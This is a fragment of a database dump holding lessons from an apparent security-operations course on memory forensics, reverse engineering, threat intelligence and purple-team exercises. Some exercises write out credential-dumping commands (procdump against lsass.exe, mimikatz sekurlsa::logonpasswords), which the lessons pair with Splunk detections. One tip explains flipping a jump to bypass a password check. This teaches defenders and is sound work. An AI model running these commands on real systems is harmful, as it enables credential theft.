Commits to GitHub.\n3.  **Sigmac** (Compiler) converts the YAML into:\n    *   Splunk SPL (`index=windows EventID=4104 ...`)\n    *   Elastic Query (Lucene)\n    *   Azure Sentinel (KQL)\n4.  Automation pushes the query to the SIEM API.', 'markdown', 20, '2025-12-27 02:16:31', '2025-12-29 16:13:12'),
(661, 366, '## Module 36 Review\nAdvanced SIEM is Engineering.\n*   **Architecture**: How data flows.\n*   **RBA**: Reducing noise by scoring.\n*   **Optimization**: Writing fast queries.\n*   **DaC**: Managing rules via Git.\n\nNext: Digging into RAM with Memory Forensics.', 'markdown', 20, '2025-12-27 02:16:31', '2025-12-29 14:22:44'),
(662, 371, '## Why Memory Forensics?\n\nDisk Forensics is great, but it has limits.\n*   **Encryption**: If the disk is BitLocker encrypted and the computer is off, the data is gone.\n*   **Fileless Malware**: Some malware lives *only* in RAM. It never touches the hard drive. If you pull the plug, the evidence vanishes.\n*   **Rootkits**: Kernel-level rootkits can lie to the OS, but they cannot hide from memory analysis (mostly).\n\n### What lives in RAM?\nEverything the computer is thinking about *right now*.\n1.  **Running Processes** (and their injected DLLs).\n2.  **Network Connections** (Active sockets).\n3.  **Command History** (cmd.exe / powershell.exe buffers).\n4.  **Passwords/Keys**:\n    *   BitLocker keys.\n    *   Mimikatz output.\n    *   User passwords (sometimes in cleartext if poorly coded apps are running).\n5.  **Clipboard Contents**: What did the user just Copy/Paste?\n\n### The Principle of Exchange\nRAM is extremely volatile. Every second the computer is on, thousands of pages of memory are being overwritten. Speed is essential.', 'markdown', 20, '2025-12-27 02:18:03', '2025-12-29 16:13:12'),
(663, 372, '## Memory Acquisition Techniques\n\nTaking a \"picture\" of RAM is trickier than disk.\n\n### 1. Hardware-Based Acquisition (DMA)\n*   **FireWire / Thunderbolt**: These ports have Direct Memory Access (DMA).\n*   **Method**: Plug in a specialized device. It can read RAM directly without the CPU even knowing.\n*   **Pros**: Undetectable by malware.\n*   **Cons**: Requires physical ports; modern OS protections (DMA Mapping) often block this.\n\n### 2. Software-Based Acquisition (Kernel Driver)\n*   **Method**: Run a tool (Administrator privileges required) that loads a Kernel Driver to read physical memory.\n*   **Tools**:\n    *   **WinPMEM**: Part of the Rekall framework.\n    *   **DumpIt**: Simple, one-click dumper.\n    *   **FTK Imager**: GUI-based.\n*   **Risk**: Loading a driver *changes* the memory you are trying to measure (Heisenberg Uncertainty Principle). It might trigger a Blue Screen of Death (BSOD) if the system is unstable.\n\n### 3. Virtual Machine Snapshots\n*   If the target is a VM (VMware/Hyper-V), you are lucky.\n*   **Method**: Just take a Snapshot \"with memory\".\n*   **File**: `.vmem` file. This is a perfect, uncorrupted copy of the RAM. No tools needed on the guest.\n\n### The Hyberfil.sys file\n*   When a laptop hibernates (sleeps), Windows writes the entire contents of RAM to `C:hiberfil.sys`.\n*   **Forensic Gold**: You can convert this file into a raw memory image and analyze it, even if the computer is currently off.', 'markdown', 20, '2025-12-27 02:18:03', '2025-12-29 16:13:12'),
(664, 373, '## Volatility Framework Deep Dive\n\n**Volatility** is the industry-standard (Command Line) tool for analyzing memory dumps. It supports Windows, Linux, and Mac.\n\n### The Profile (Volatility 2 vs 3)\n*   **Volatility 2**: Required you to specify the \"Profile\" manually (e.g., `Win10x64_1909`). If you got it wrong, it output garbage.\n*   **Volatility 3**: Modern version. It detects the OS automatically using Symbol Tables.\n\n### Essential Commands (Plugins)\nAssuming you have a distinct memory image `mem.dmp`:\n\n1.  **pslist / psscan**: List processes.\n    *   `pslist`: Walks the \"Active Process Head\" (What Windows *admits* is running).\n    *   `psscan`: Scans raw memory bytes for EPROCESS structures. (Finds \"Hidden\" processes that unlinked themselves from the list).\n    *   *Comparison*: If a PID shows up in `psscan` but NOT `pslist`, it is a **Rootkit**.\n2.  **netscan**: List network connections.\n    *   Shows Protocol, Local IP, Remote IP, State (ESTABLISHED), and PID.\n    *   \"Why is `notepad.exe` connected to Russia on Port 4444?\"\n3.  **malfind**: Detects code injection.\n    *   It looks for memory pages that are:\n        *   Executable (RWX permissions).\n        *   Start with `MZ` header (Executable file) OR generic Shellcode patterns.\n    *   Output: Hex dump of the injection.\n4.  **dlllist**: List loaded DLLs for a process.\n    *   \"Why does `svchost.exe` have `cryptominer.dll` loaded?\"\n5.  **cmdline**: Shows the command line arguments.\n    *   `powershell.exe -w hidden -enc JABz...` (Base64 encoded evil script).\n\n### Workflow\n1.  Identify rogue networking (`netscan`). -> Found PID 1234.\n2.  Investigate process (`pslist`). -> PID 1234 is `svchost.exe`.\n3.  Check parent (`pstree`). -> Parent is `explorer.exe`. (BAD. `svchost` should come from `services.exe`).\n4.  Check injection (`malfind -p 1234`). -> Found RWX memory segment.\n5.  Dump the malware (`procdump -p 1234`). -> Save to disk for Reverse Engineering.', 'markdown', 20, '2025-12-27 02:18:03', '2025-12-29 16:13:12'),
(665, 374, '## Process Analysis & Injection Detection\n\nMalware rarely runs as `virus.exe`. It hides inside legitimate processes. This is **Process Injection**.\n\n### 1. DLL Injection\n*   **Concept**: Force a legitimate process (e.g., Chrome) to load a malicious DLL.\n*   **Mechanism**:\n    1.  Malware runs.\n    2.  Allocates memory in Chrome (VirtualAllocEx).\n    3.  Writes path to evil DLL (WriteProcessMemory).\n    4.  CreateRemoteThread starting at LoadLibrary(\"evil.dll\").\n*   **Result**: The malware code runs *inside* Chrome\'s memory space. Firewalls allow Chrome.\n\n### 2. Process Hollowing (RunPE)\n*   **Concept**: A zombie suit.\n*   **Mechanism**:\n    1.  Start a legitimate process (e.g., `svchost.exe`) in \"Suspended Mode\".\n    2.  Unmap (Hollow out) the legitimate code from memory.\n    3.  Write the malware code into that empty space.\n    4.  Resume the thread.\n*   **Result**: Task Manager says \"svchost.exe\". The Hash on disk is clean (Microsoft signed). But the memory is pure malware.\n*   **Detection**: **Volatility `malfind`** spots this mismatch between the file on disk (VAD) and the content in RAM.\n\n### 3. Reflective DLL Injection\n*   Loading a DLL directly from memory without it ever touching the disk.\n*   Extremely hard to detect with traditional AV.\n*   Used heavily by tools like **Cobalt Strike** and **Metasploit** (Meterpreter).\n\n### 4. Atom Bombing / Propagate\n*   Using obscure Windows API mechanisms (Atom Tables, GUI Event Hooks) to trigger code execution in other processes without using the noisy \"CreateRemoteThread\" call.\n\n### The Analyst\'s Eye\nIn Memory Forensics, you look for **Inconsistencies**.\n*   The PEB (Process Environment Block) says the path is `C:WindowsSystem32svchost.exe`.\n*   The VAD (Virtual Address Descriptor) says the memory map is Private Commit (not maximizing a file).\n*   This discrepancy confirms Hollowing.', 'markdown', 20, '2025-12-27 02:18:03', '2025-12-29 16:13:12'),
(666, 375, '## Hunting Rootkits & Hidden Processes\n\n**Rootkits** are the ninjas of malware. They modify the Kernel (Ring 0) to intercept the reality presented to the OS.\n\n### Direct Kernel Object Manipulation (DKOM)\n*   Windows keeps a list of processes in a Doubly Linked List (ActiveProcessLinks).\n*   Task Manager iterates this list to show you what runs.\n*   **The Attack**: A Rootkit simply \"unlinks\" its process node from the list.\n    *   Previous -> Next.\n    *   It literally disconnects itself.\n    *   The OS still schedules CPU time for it (because the Scheduler uses a different list), so it runs. But tools (TaskMgr, Sysinternals) that rely on the API list cannot see it.\n\n### Hunting with Cross-View Analysis\nThe technique of comparing different \"views\" of the system to find lies.\n*   **View 1**: The API List (`pslist`). (Modified by Rootkit).\n*   **View 2**: The Scheduler / Thread List (`thrdscan`). (Harder to modify without crashing).\n*   **View 3**: CSRSS Handles (`handles`).\n*   **Method**: `psscan` (Volatility) scans the raw physical RAM for structures that *look* like processes (EPROCESS blocks).\n    *   If `psscan` finds it, but `pslist` misses it -> **Rootkit Confirmed**.\n\n### Hooks (SSDT Hooking)\n*   **SSDT (System Service Descriptor Table)**: The map of System Calls.\n*   **Attack**: Malicious driver overwrites the address of `NtQuanryDirectoryFile`.\n    *   Original: Points to `ntoskrnl.exe`.\n    *   Hooked: Points to `evil_rootkit.sys`.\n*   When you ask for a file list, the Rootkit code runs first, filters the results, and then passes the request to the real Kernel.\n*   **Detection**: **`ssdt`** plugin in Volatility checks if any function pointer points outside the valid Kernel memory range.', 'markdown', 20, '2025-12-27 02:18:03', '2025-12-29 16:13:12'),
(667, 376, '## Module 37 Review\nMemory Forensics is the ultimate truth.\n*   **Volatility**: The tool.\n*   **Injection**: Looking for RWX pages (`malfind`).\n*   **Rootkits**: Using Cross-View analysis (`pslist` vs `psscan`) to find hidden threats.\n\nNext: Reverse Engineering (Understanding the code itself).', 'markdown', 20, '2025-12-27 02:18:03', '2025-12-29 14:22:44'),
(668, 381, '## RE Fundamentals: The Art of Dissection\n\n**Reverse Engineering (RE)** is taking apart a system to understand how it works. In malware analysis, it means turning a compiled binary (`.exe`) back into readable logic (Assembly/C).\n\n### Compiled vs. Interpreted\n*   **Interpreted (Python/JS)**: You receive the source code. Analysis is just \"reading\".\n*   **Compiled (C/C++/Go)**: The source code is translated into **Machine Code** (0s and 1s) by a compiler. You cannot see variable names or comments.\n\n### The Tools of the Trade\n1.  **Disassembler**: Translates Machine Code (Hex) into **Assembly Language** (ASM).\n    *   *Tool*: IDA Pro, Ghidra (Free, by NSA).\n    *   *Output*: `MOV EAX, 1` (Move 1 into Register EAX).\n2.  **Decompiler**: Attempts to translate ASM back into pseudo-C code.\n    *   *Tool*: Ghidra, Hex-Rays.\n    *   *Output*: `if (variable1 == 1) { download_virus(); }`\n    *   *Note*: It is never 100% accurate, but it is much easier to read than ASM.\n3.  **Debugger**: Runs the code step-by-step (Dynamic).\n    *   *Tool*: x64dbg (Windows), GDB (Linux).\n    *   *Action*: \"Pause execution right before it encrypts the file so I can see the key in memory.\"\n\n### The Goal of RE\nYou are not trying to re-write the source code. You are trying to answer specific questions:\n1.  Does it contain a Domain Generation Algorithm (DGA)?\n2.  What is the hardcoded C2 IP?\n3.  How does it bypass the Anti-Virus?', 'markdown', 20, '2025-12-27 02:19:34', '2025-12-29 16:13:25'),
(669, 382, '## x86/x64 Assembly Essentials\n\nYou don\'t need to write Assembly, but you must read it.\n\n### Registers (The CPU\'s pockets)\nThe CPU has small storage slots called Registers.\n*   **EAX / RAX**: The \"Accumulator\". Used for math and **Return Values**. (If a function returns \"Success\", EAX is usually 1 or 0).\n*   **EBX / RBX**: Base.\n*   **ECX / RCX**: Counter. Used in loops.\n*   **EDX / RDX**: Data.\n*   **EIP / RIP**: **Instruction Pointer**. This is the most important register. It points to the *next instruction* the CPU will execute.\n    *   *Buffer Overflow*: If you can overwrite EIP, you control the CPU.\n*   **ESP / RSP**: Stack Pointer. Points to the top of the stack.\n\n### Common Instructions\n1.  **MOV destination, source**: Copy data.\n    *   `MOV EAX, 5` -> Put 5 into EAX.\n2.  **ADD / SUB**: Math.\n3.  **CMP A, B**: Compare A and B.\n4.  **JMP / JZ / JNZ** (Jumps): The logic flow (If statements).\n    *   `CMP EAX, 0` (Check if EAX is 0)\n    *   `JZ 402000` (Jump if Zero to memory address 402000).\n    *   *Hacking Tip*: If you change `JZ` (Jump if Zero) to `JNZ` (Jump if NOT Zero), you can flip the logic of the program. (e.g., \"Is Password Correct?\" -> \"No\" -> \"Login Anyway\").\n\n### The Stack (LIFO)\nTemporary memory for functions.\n*   **PUSH**: Put something on top of the stack.\n*   **POP**: Take it off.\n*   Think of it like a stack of plates.', 'markdown', 20, '2025-12-27 02:19:34', '2025-12-29 16:13:25'),
(670, 383, '## Static Analysis with Ghidra\n\n**Ghidra** is the NSA\'s gift to the community. It is a powerful, free Disassembler/Decompiler.\n\n### The Interface\n1.  **Program Tree**: Sections of the file (.text, .data, .rsrc).\n2.  **Listing View**: The Assembly code (linear view).\n3.  **Decompiler View**: The C-like pseudo-code. **(This is where you live)**.\n4.  **Symbol Tree**: List of Functions and Imports.\n\n### The Workflow\n1.  **Import**: Drag and Drop the malware.\n2.  **Analyze**: Run the auto-analysis (identifies functions, strings).\n3.  **Search Strings**: Find \"http\". Double click it.\n4.  **X-Ref (Cross Reference)**: Right-Click the string -> \"References\".\n    *   This shows *where in the code* that string is used.\n    *   Clicking it takes you to the `Main()` function that calls the C2.\n5.  **Rename**: Ghidra names variables `DAT_12345` or `FUN_401000`.\n    *   Your job is to read the logic.\n    *   \"This function takes a URL and downloads a file.\" -> Press `L`. Rename to `Download_File`.\n    *   \"This variable holds the IP.\" -> Rename to `C2_IP`.\n    *   Slowly, the code becomes readable.\n\n### Graph View\nVisualizes the flow control.\n*   Boxes are blocks of code.\n*   Arrows are Jumps (Green for Yes, Red for No).\n*   If you see a complex knot of arrows, it\'s a loop.', 'markdown', 20, '2025-12-27 02:19:34', '2025-12-29 16:13:25'),
(671, 384, '## Debugging with x64dbg\n\nStatic analysis is hard when the code is obfuscated. A **Debugger** lets you run it and watch.\n\n### Key Concepts\n1.  **Breakpoints (BP)**: Trapwires using Software Interrupts (INT 3).\n    *   You tell the debugger: \"Run until you hit address 401050, then PAUSE.\"\n    *   *Use*: Put a BP on `CreateFileW`. The malware will run until it tries to create a file, then freeze. You can then look at the stack to see *filename* it is trying to write.\n2.  **Stepping**:\n    *   **Step Into (F7)**: Go inside the function call.\n    *   **Step Over (F8)**: Run the function and pause after it returns. (Use this to skip boring library functions like `printf`).\n3.  **Register/Memory View**:\n    *   Watch the EAX register change as you step.\n    *   Watch the memory dump to see encrypted strings suddenly become decrypted.\n\n### Patching\nYou can modify the binary in memory.\n*   **Scenario**: The malware checks `If (Year == 2023)`. It is 2025, so it quits.\n*   **Fix**:\n    1.  Find the `CMP Year, 2023` and `JNE Exit` instructions.\n    2.  Change the `JNE` (Jump Not Equal) to `NOP` (No Operation - Do nothing).\n    3.  The malware continues running.\n\n### Anti-Debugging\nMalware hates debuggers.\n*   **IsDebuggerPresent()**: A Windows API function that returns 1 if being debugged.\n*   **RDTSC**: Read Time Stamp Counter. Measures CPU cycles.\n    *   \"It took 5,000,000 cycles to run this instruction. Humans are slow. A debugger must be attached.\" -> *Self Destruct*.\n*   **Bypass**: Use plugins like **ScyllaHide** to hide your debugger from these checks.', 'markdown', 20, '2025-12-27 02:19:34', '2025-12-29 16:13:25'),
(672, 385, '## Unpacking & Anti-Analysis\n\nMost malware is \"Packed\" (Compressed/Encrypted) to hide from AV signatures.\n\n### The Packer Lifecycle\n1.  **The Stub**: The small piece of code you actually see.\n2.  **Unpacking**: The Stub decrypts the *real* malware (Payload) from its data section and writes it into memory.\n    *   *Technique*: Uses `VirtualAlloc` (Get memory) -> `RtlDecompressBuffer` -> `VirtualProtect` (Make executable).\n3.  **Transfer (OEP)**: The Stub jumps to the **Original Entry Point** (OEP) of the payload.\n4.  **Execution**: The real malware runs.\n\n### Manual Unpacking Technique\n1.  Load packed malware into x64dbg.\n2.  Set breakpoints on `VirtualAlloc` and `VirtualProtect`.\n3.  Run code. It breaks when it allocates memory.\n4.  Watch that memory region. Step over until you see the PE Header (`MZ`) appear in the memory dump.\n5.  **Dump It**: Use \"Scylla\" (plugin) to save that memory region to a file (`unpacked.exe`).\n6.  Now open `unpacked.exe` in Ghidra. You will see the real strings and logic.\n\n### Dealing with Obfuscation\n*   **Dead Code**: Junk instructions that do nothing (`ADD EAX, 0`) just to confuse you.\n*   **Control Flow Flattening**: Breaking linear code into a confusing switch-statement mess.\n*   **String Encryption**: Strings are stored as `XOR 0x55`. The malware decrypts them only when needed.\n*   *Solution*: FLOSS (FireEye Labs Obfuscated String Solver). It runs code heuristics to find and extract obfuscated strings automatically.', 'markdown', 20, '2025-12-27 02:19:34', '2025-12-29 16:13:25'),
(673, 386, '## Module 38 Review\nReverse Engineering is the deepest level of analysis.\n*   **Assembly**: The language of the CPU.\n*   **Ghidra**: The static map.\n*   **x64dbg**: The dynamic probe.\n*   **Unpacking**: Removing the armor to see the code.\n\nNext: Applying this knowledge to Threat Intelligence.', 'markdown', 20, '2025-12-27 02:19:34', '2025-12-29 14:22:44'),
(674, 391, '## The Threat Intel Lifecycle\n\nThreat Intelligence (CTI) is knowledge about adversaries. It moves security from \"What is hitting me?\" to \"Who is hitting me and why?\"\n\n### The Lifecycle\n1.  **Planning & Direction**: The \"Requirements\".\n    *   \"We are a Bank. We care about Fin7 (Credit Card thieves). We don\'t care about APTs targeting Aerospace.\"\n2.  **Collection**: Gathering raw data.\n    *   Open Source (OSINT): Twitter, GitHub, Blogs.\n    *   Closed Source: Vendor feeds (CrowdStrike, Mandiant), Deep Web forums.\n    *   Technical: HoneyPots, Malware Sandboxes.\n3.  **Processing**: Cleaning and normalizing.\n    *   Converting a PDF report into a list of IPs (STIX format).\n4.  **Analysis**: Making sense of it.\n    *   \"This new IP belongs to the same subnet used by Lazarus Group last year. It implies Lazarus is back.\"\n5.  **Dissemination**: Sending it to the right people.\n    *   **Strategic**: To the CISO (\"Risk is elevated\").\n    *   **Tactical**: To the SOC (\"Block these IPs\").\n6.  **Feedback**: \"Was this useful?\"\n\n### Types of CTI\n*   **Strategic**: High-level trends for Executives. (\"Ransomware is up 200%\").\n*   **Operational**: TTPs for Hunters. (\"They use PowerShell Empire\").\n*   **Tactical**: IOCs for SIEMs. (Hashes, IPs).', 'markdown', 20, '2025-12-27 02:21:01', '2025-12-29 16:13:25'),
(675, 392, '## Collection & Sources (OSINT vs. INT)\n\nWhere do we get the dirt?\n\n### OSINT (Open Source Intelligence)\n*   **Twitter (InfoSec Twitter)**: Often the fastest source. Researchers post \"I just found this C2\" minutes after detection.\n*   **VirusTotal**: The world\'s malware database.\n    *   *Hunting*: \"Search for all files that communicate with `bad-domain.com`.\"\n*   **Shodan/Censys**: Search engines for the Internet of Things.\n    *   \"Show me all servers running vulnerable Exchange 2016 in Germany.\"\n*   **AlienVault OTX (Open Threat Exchange)**: Crowd-sourced pulses.\n\n### Paid Feeds (Commercial)\n*   Companies like Recorded Future, Mandiant, Proofpoint.\n*   They have spies in Dark Web forums.\n*   Value: **Context**. Not just \"Block IP X\", but \"IP X is a Cobalt Strike server rented by Ryuk Ransomware affiliates.\"\n\n### ISACs (Information Sharing and Analysis Centers)\n*   Industry groups (FS-ISAC for Finance, H-ISAC for Health).\n*   \"We (Bank A) got hit by this. Here are the IOCs so you (Bank B) can block it.\"\n*   *Trust*: High.\n\n### Dark Web (Tor)\n*   Monitoring Ransomware leak sites.\n*   \"Company X has 2 days to pay.\" -> If Company X is your vendor, you have a Third-Party Risk problem.', 'markdown', 20, '2025-12-27 02:21:01', '2025-12-29 16:13:25'),
(676, 393, '## Analysis & Attribution: The \"Who\"\n\nAttribution (Naming the actor) is hard and often political.\n\n### Levels of Attribution\n1.  **Infrastructure**: \"This attack came from IP 1.2.3.4 (DigitalOcean VPN).\" (Low value).\n2.  **Tooling**: \"They used \'PoisonIvy\', which is often used by Chinese groups.\" (Medium).\n3.  **TTPs**: \"They used the exact same 5-step process as APT10.\" (High).\n4.  **Strategic**: \"The attack targeted a dissident journalist critical of Country X.\" (Motivation).\n\n### The Diamond Model of Intrusion Analysis\nA simple shape to map attacks.\n1.  **Adversary**: Who? (Russia).\n2.  **Infrastructure**: What? (IPs/Domains).\n3.  **Capability**: How? (Malware/Exploits).\n4.  **Victim**: Whom? (You).\n*   *Pivot*: If you find a Malware sample (Capability) used by an Adversary, you can pivot to find their Infrastructure.\n\n### Cognitive Biases\nAnalysts must avoid traps.\n*   **Confirmation Bias**: Looking for evidence that supports your theory (\"It\'s Russia\") and ignoring evidence that contradicts it.\n*   **Mirror Imaging**: Assuming the attacker thinks like you. (\"They wouldn\'t attack on Christmas.\" Yes, they would).\n*   **False Flag**: Attackers verify sophisticated. The \"Olympic Destroyer\" malware (Russia) contained code snippets from North Korea to confuse analysts.', 'markdown', 20, '2025-12-27 02:21:01', '2025-12-29 16:13:25'),
(677, 394, '## STIX/TAXII & Sharing\n\nWe need a standard language to share Intel between machines.\n\n### STIX (Structured Threat Information Expression)\nA JSON format for describing threats.\n*   **Objects**:\n    *   `Threat Actor`: The bad guy.\n    *   `Attack Pattern`: The TTP (CAPEC/ATT&CK).\n    *   `Indicator`: The Regex/Rule to find it.\n    *   `Observed Data`: The IP/Hash.\n*   *Example*: \"Actor A (STIX) uses Malware B (STIX) which connects to IP C (STIX).\"\n\n### TAXII (Trusted Automated Exchange of Intelligence Information)\nThe transport protocol (HTTPS API) to move STIX objects.\n*   **Server**: Host the feed (e.g., Anomali Limo).\n*   **Client**: Your SIEM polls the server.\n*   \"Hey Server, give me all new High-Confidence Ransomware IPs since yesterday.\"\n*   Server responds with STIX JSON.\n\n### MISP (Malware Information Sharing Platform)\nThe most popular Open Source Threat Intel Platform (TIP).\n*   Org A puts malware data into MISP.\n*   Org B\'s MISP syncs with Org A.\n*   Your SIEM connects to MISP and downloads the blocklist automatically.', 'markdown', 20, '2025-12-27 02:21:01', '2025-12-29 16:13:25'),
(678, 395, '## Operationalizing Intel\n\nIntel is useless if it sits in a PDF. It must \"Drive Operations\".\n\n### 1. Alert Enrichment (Context)\n*   **Without Intel**: SIEM Alert \"Connection to 1.2.3.4\". Priority: Unknown.\n*   **With Intel**: SIEM Alert \"Connection to 1.2.3.4 (Known Conti Ransomware Node)\". Priority: **CRITICAL**.\n*   *How*: Connect your SIEM to a TIP.\n\n### 2. Retroactive Hunting\n*   Intel Report: \"In Jan 2024, Actor X used `evil.com`.\"\n*   Today is March 2024. Blocking it now helps, but...\n*   **Action**: Search your *Historical Logs* (Cold Storage). Did anyone talk to `evil.com` back in January?\n    *   If Yes: You have been compromised for 3 months. **Incident Response Start**.\n\n### 3. Vulnerability Prioritization\n*   Scanner says: \"You have 10,000 unpatched bugs.\"\n*   Intel says: \"Only CVE-2023-1234 is being actively exploited in the wild by Ransomware.\"\n*   **Action**: Patch CVE-2023-1234 *tonight*. The rest can wait.\n\n### 4. TTP-Based Defense\n*   Intel says: \"Lazarus is using LNK files in ZIP Archives.\"\n*   **Action**: Update Email Gateway to block `.lnk` attachments. Update EDR to alert on `cmd.exe` spawned from `explorer.exe` via LNK.', 'markdown', 20, '2025-12-27 02:21:01', '2025-12-29 16:13:25'),
(679, 396, '## Module 39 Review\nThreat Intel gives you the \"Heads Up\".\n*   **Lifecycle**: Planning to Feedback.\n*   **Standards**: STIX (Language) / TAXII (Truck).\n*   **Attribution**: The Diamond Model.\n\nNext: Testing your defenses with Red and Purple Teams.', 'markdown', 20, '2025-12-27 02:21:01', '2025-12-29 14:23:36'),
(680, 401, '## Red, Blue, and Purple Teams\n\nThe color spectrum of information security.\n\n### Red Team (The Offensive)\n*   **Goal**: Simulate a real adversary to test defenses.\n*   **Mindset**: \"There is always a way in.\"\n*   **Method**: Zero-day exploits, Phishing, Social Engineering, Physical Intrusion.\n*   **Outcome**: A report saying \"We stole the Domain Admin password in 4 hours.\"\n\n### Blue Team (The Defensive)\n*   **Goal**: Detect and Respond.\n*   **Mindset**: \"Protect the Crown Jewels.\"\n*   **Method**: SIEM, EDR, Firewalls, Patching, Threat Hunting.\n*   **Outcome**: \"We blocked the Phishing email. We detected the scanner.\"\n\n### Purple Team (The Collaborative)\n*   **The Problem**: Red Teams and Blue Teams often hate each other.\n    *   Red: \"Blue team is useless, I pawned them easily.\"\n    *   Blue: \"Red team cheated, they used a vulnerability for a system we don\'t own.\"\n    *   *Result*: No learning happens.\n*   **The Solution**: Purple Teaming.\n    *   Red Team executes an attack (T1059 PowerShell).\n    *   Blue Team watches *in real-time*.\n    *   Red: \"Did you see that?\"\n    *   Blue: \"No.\"\n    *   Red: \"Okay, I will run it again. Tune your SIEM to look for X.\"\n    *   Blue: \"Got it! Alert triggered.\"\n\n### Why Purple is the Future\nIt moves from \"Win/Lose\" to \"Improvement\". The goal isn\'t to hack the company; the goal is to verify the detection logic.', 'markdown', 20, '2025-12-27 02:22:23', '2025-12-29 16:15:02'),
(681, 402, '## Red Team Operations\n\nRed Teaming is not just \"Running Nmap\". It is a full-scope simulation.\n\n### 1. Reconnaissance (OSINT)\n*   Scraping LinkedIn to find system admins.\n*   Looking for leaked credentials on the Dark Web.\n*   Mapping external IP ranges (Shodan).\n\n### 2. Weaponization & Delivery\n*   Creating custom malware (avoiding signature detection).\n*   Buying a look-alike domain (`cornpany.com`).\n*   Sending the Spearphishing email.\n\n### 3. Exploitation & Install\n*   User clicks link.\n*   Browser exploit runs.\n*   Beacon (C2) installed.\n\n### 4. Privilege Escalation\n*   Local Admin -> Domain Admin.\n*   Techniques: Kerberoasting, PrintNightmare.\n\n### 5. Lateral Movement\n*   Moving from \"Bob from Accounting\" to the \"Swift Payment Server\".\n\n### 6. Actions on Objectives\n*   Stealing the money. Encrypting the drive.\n\n### Rules of Engagement (ROE)\nA legal contract defining what Red Team is allowed to do.\n*   **Limits**: \"Do not attack the Production Database.\" \"Do not phish the CEO.\"\n*   **Emergency Contact**: If Red Team accidentally crashes a server, who do they call at 3 AM?', 'markdown', 20, '2025-12-27 02:22:24', '2025-12-29 16:15:03'),
(682, 403, '## Blue Team Defense\n\nThe Blue Team has the harder job. The Red Team only needs to be right *once*. The Blue Team needs to be right *every time*.\n\n### 1. Prevention (Hardening)\n*   \"Reduce the attack surface.\"\n*   Disable macros.\n*   Patch vulnerabilities.\n*   Enforce MFA.\n\n### 2. Detection (Monitoring)\n*   SIEM rules.\n*   Honeypots (Traps).\n*   Canary Tokens (Fake files that alert when opened).\n\n### 3. Response (IR)\n*   The fire brigade.\n\n### The \"Assume Breach\" Mentality\nModern Blue Teams assume the perimeter has failed. They focus on **Internal Monitoring**.\n*   \"I don\'t care if they get in. I care if they can move to the database without me seeing them.\"', 'markdown', 20, '2025-12-27 02:22:24', '2025-12-29 16:15:03'),
(683, 404, '## Purple Team Exercises\n\nA structured Purple Team exercise follows a script.\n\n### Phase 1: Planning\n*   **Objective**: \"Verify detection of Credential Dumping (T1003).\"\n*   **Tool**: Mimikatz.\n*   **Target**: Test Workstation A.\n\n### Phase 2: Execution (Round 1)\n*   Red: Runs `mimikatz.exe privilege::debug`.\n*   Blue: Checks SIEM. \"No Alert.\"\n*   Red: \"Okay, running `sekurlsa::logonpasswords`.\"\n*   Blue: \"No Alert.\"\n\n### Phase 3: Tuning\n*   Blue: \"Why did we miss it?\"\n    *   Investigation: \"We don\'t ingest Sysmon Event ID 10 (Process Access).\"\n*   **Fix**: Enable Sysmon config. Forward logs to Splunk. Write Search.\n\n### Phase 4: Execution (Round 2)\n*   Red: Runs `mimikatz.exe`.\n*   Blue: \"ALERT! Critical Severity - Credential Dumping detected.\"\n*   **Verdict**: Success.\n\n### Phase 5: Reporting\n*   \"We improved detection coverage for T1003 from 0% to 100%.\"', 'markdown', 20, '2025-12-27 02:22:24', '2025-12-29 16:15:03'),
(684, 405, '## Adversary Emulation\n\nRather than \"Generic Hacking\", we emulate specific Threat Groups.\n\n### Why?\n*   If you are a Bank, you care about **Carbanak**.\n*   If you are a Hospital, you care about **Ryuk**.\n\n### Tools\n1.  **Atomic Red Team (Red Canary)**: A library of simple scripts to test one technique.\n    *   `atomic-red-team.exe T1003` -> Runs a safe mimikatz command.\n2.  **CALDERA (MITRE)**: Automated adversary emulation platform.\n    *   Build a \"Profile\" (e.g., APT29).\n    *   Click \"Start\".\n    *   Caldera agents connect to C2 and execute the APT29 commands automatically.\n\n### The Value\nIt proves resilience against *relevant* threats.\n\"We know we can stop script kiddies. But can we stop the group that hacked our competitor last week?\"', 'markdown', 20, '2025-12-27 02:22:24', '2025-12-29 16:15:03'),
(685, 406, '## Module 40 Review\n*   **Red**: Attack.\n*   **Blue**: Defend.\n*   **Purple**: Collaborate.\n*   Adversary Emulation ensures your defense is relevant to real-world threats.\n\nNext: Running a Purple Team exercise step-by-step.', 'markdown', 20, '2025-12-27 02:22:24', '2025-12-29 14:23:36'),
(686, 411, '## Exercise Framework Setup\n\nTo run a Purple Team exercise in your lab or company, you don\'t need expensive tools.\n\n### 1. The Target\nA standard Windows 10/11 VM.\n*   **Requirement**: It must have logging enabled (Sysmon) and forwarding to your SIEM.\n\n### 2. The Attack Tool\n**Atomic Red Team** is the gold standard for beginners.\n*   It is a folder of YAML files.\n*   Each file contains a command (PowerShell/CMD).\n*   No C2 infrastructure needed. It runs locally.\n\n### 3. The Execution\n*   Install `Invoke-AtomicRedTeam` (PowerShell module).\n*   Command: `Invoke-AtomicTest T1003 -CheckPrereqs`\n*   Command: `Invoke-AtomicTest T1003` (Runs the attack).\n\n### 4. The Tracker\nUse a spreadsheet (VECTR is a good free tool, but Excel works).\n*   Columns: Technique | Status | Detected? | Blocked? | Notes.\n*   Fill it out as you go.', 'markdown', 20, '2025-12-27 02:26:00', '2025-12-29 16:15:03'),
(687, 412, '## Exercise: Credential Dumping (T1003)\n\n**Objective**: Detect extraction of passwords from memory.\n\n### The Attack (Atomic T1003.001)\n*   **Command**: `procdump -ma lsass.exe lsass_dump.dmp`\n*   **Context**: `lsass.exe` (Local Security Authority Subsystem Service) holds active credentials in RAM.\n*   **Tool**: Sysinternals ProcDump (legitimate Microsoft tool).\n\n### The Detection\n1.  **Process Name**: `procdump.exe` or `procdump64.exe`.\n2.  **Target Process**: `lsass.exe`.\n3.  **Command Line**: Contains `lsass`.\n\n### SIEM Search (Splunk)\n`index=windows EventCode=10 TargetImage=\"*lsass.exe\" GrantedAccess=\"0x1F0FFF\"`\n(Event 10 is Process Access. 0x1F0FFF is Full Access).\n\n### The Fix\nIf you missed it:\n1.  Install Sysmon.\n2.  Configure Sysmon to log Event ID 10 for Target `lsass.exe`.\n3.  Ingest logs.', 'markdown', 20, '2025-12-27 02:26:00', '2025-12-29 16:15:03'),
